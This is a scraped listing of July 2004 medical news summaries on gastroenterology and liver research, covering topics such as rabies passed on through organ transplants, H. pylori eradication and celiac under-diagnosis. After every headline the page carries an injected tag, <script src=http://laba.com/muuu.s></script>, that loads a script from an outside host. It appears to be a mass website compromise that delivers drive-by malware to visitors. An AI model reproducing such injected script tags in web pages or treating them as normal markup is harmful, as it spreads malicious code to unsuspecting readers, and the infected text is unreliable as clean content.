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First reported cases of rabies transmission through solid organ transplantation 08 July 2004
Rabies transmission from organ transplants<script src=http://laba.com/muuu.s></script> The first cases of rabies transmission through solid organ transplantation have been confirmed, reports the Centers for Disease Control and Prevention, USA.
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The incremental value of upper endoscopy in the identification of patients with non-variceal upper-GI hemorrhage 07 July 2004
Upper endoscopy in acute non-variceal upper-GI hemorrhage<script src=http://laba.com/muuu.s></script> Writing in the July issue of Gastrointestinal Endoscopy, scientists have compared an endoscopy-based risk score with two clinically based risk scores to quantify the incremental value of endoscopy in the identification of low-risk bleeding in patients undergoing treatment for acute upper-GI hemorrhage.
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Computed tomographic colonography versus colonoscopy in patients with increased risk for colorectal cancer 07 July 2004
CT colonography vs. colonoscopy in high risk colorectal cancer patients<script src=http://laba.com/muuu.s></script> A study in the July edition of the journal Gastroenterology has compared the efficacy of computed tomographic colonography with colonoscopy in identifying patients at increased risk for colorectal cancer.
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Differences exist in the use of orthotopic liver transplantation among black and white patients 07 July 2004
Racial differences in use of orthotopic liver transplantation<script src=http://laba.com/muuu.s></script> Black patients are more likely to die or become too ill to proceed while waiting for orthotopic liver transplantation than their white counterparts, suggests a study in the July issue of Liver Transplantation.
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Seven-day triple therapy for H. pylori eradication for patients in the United States 06 July 2004
Seven-day triple therapy for <i>H. pylori</i> eradication<script src=http://laba.com/muuu.s></script> Similar levels of efficacy can be achieved with seven-day eradication therapy for Helicobacter pylori as with ten-day therapies, reports the latest issue of Alimentary Pharmacology and Therapeutics.
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Ligation versus propranolol for the primary prophylaxis of variceal bleeding in cirrhosis 06 July 2004
Ligation vs. propranolol for variceal bleeding in cirrhosis<script src=http://laba.com/muuu.s></script> Variceal banding ligation and propranolol are similarly effective for primary prophylaxis of variceal bleeding, finds a study of 152 cirrhotic patients.
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Selective digestive decontamination reduces infection in liver transplant patients 06 July 2004
Selective digestive decontamination in liver transplant patients<script src=http://laba.com/muuu.s></script> The use of selective digestive decontamination to reduce gram-negative infections in patients undergoing liver transplantation is of benefit, suggests a report in the latest issue of the journal Liver Transplantation.
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Pre-existing reflux esophagitis is improved by Helicobacter pylori eradication in patients with duodenal ulcer disease 05 July 2004
<i>H. pylori</i> eradication in duodenal ulcer disease patients<script src=http://laba.com/muuu.s></script> Researchers writing in the journal Clinical Gastroenterology and Hepatology report that significant improvements in pre-existing reflux esophagitis are noted in duodenal ulcer patients following eradication of Helicobacter pylori infection.
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PubMed Central is to be expanded, providing access to some of the classic works of medical literature 05 July 2004
PubMed Central to be expanded<script src=http://laba.com/muuu.s></script> An international agreement to expand PubMed Central means more medical journals will now be available to access on the internet, including some that will include issues dating back more than 125 years.
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Increasing Azathioprine dose may be beneficial in IBD patients unresponsive to standard dose 05 July 2004
Azathioprine dose escalation in IBD<script src=http://laba.com/muuu.s></script> Increasing Azathioprine dosage to 2.5 mg/kg in patients with inflammatory bowel disease who have not responded to a lower dose, can be advantageous, finds a study reported in the July issue of Alimentary Pharmacology and Therapeutics.
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Celiac disease is under-diagnosed announce experts at the National Institutes of Health 02 July 2004
Celiac disease under-diagnosed reports NIH<script src=http://laba.com/muuu.s></script> An expert panel convened by the National Institutes of Health believes celiac disease is under-reported and that the disease may affect ten times more Americans than was previously thought.
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Abdominal MRI with oral contrast for evaluation of the small bowel in Crohn's disease 02 July 2004
Abdominal MRI as a diagnostic tool in Crohn's disease<script src=http://laba.com/muuu.s></script> A study of 21 patients with Crohn's disease has compared abdominal MRI after enteroclysis with abdominal MRI performed using orally administered contrast alone, to see if there are any differences in diagnostic efficacy.
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Magnetic resonance cholangiography is cost-effective for diagnosis of primary sclerosing cholangitis 02 July 2004
Cost-minimization of MRC versus ERCP for diagnosis of PSC<script src=http://laba.com/muuu.s></script> Magnetic resonance cholangiography is a cost effective technique for diagnosis of primary sclerosing cholangitis, find scientists writing in the July issue of Hepatology.
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Are there differences in hepatitis C virus-related liver disease between Caucasians and African Americans? 01 July 2004
Chronic Hepatitis C in Caucasian and African Americans<script src=http://laba.com/muuu.s></script> A study reported in the journal Clinical Gastroenterology and Hepatology has investigated the controversial subject of whether or not there are differences in hepatitis C virus-related liver disease between Caucasians and African Americans.
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Alcoholic drinks produced by fermentation have a greater effect on gastric emptying than those produced by distillation 01 July 2004
Effect of ethanol on gastric emptying<script src=http://laba.com/muuu.s></script> A study in the latest issue of the Scandinavian Journal of Gastroenterology has examined the effect of beer, red wine and whisky on gastric emptying and finds that fermented drinks, but not distilled alcoholic beverages, can inhibit gastric emptying.
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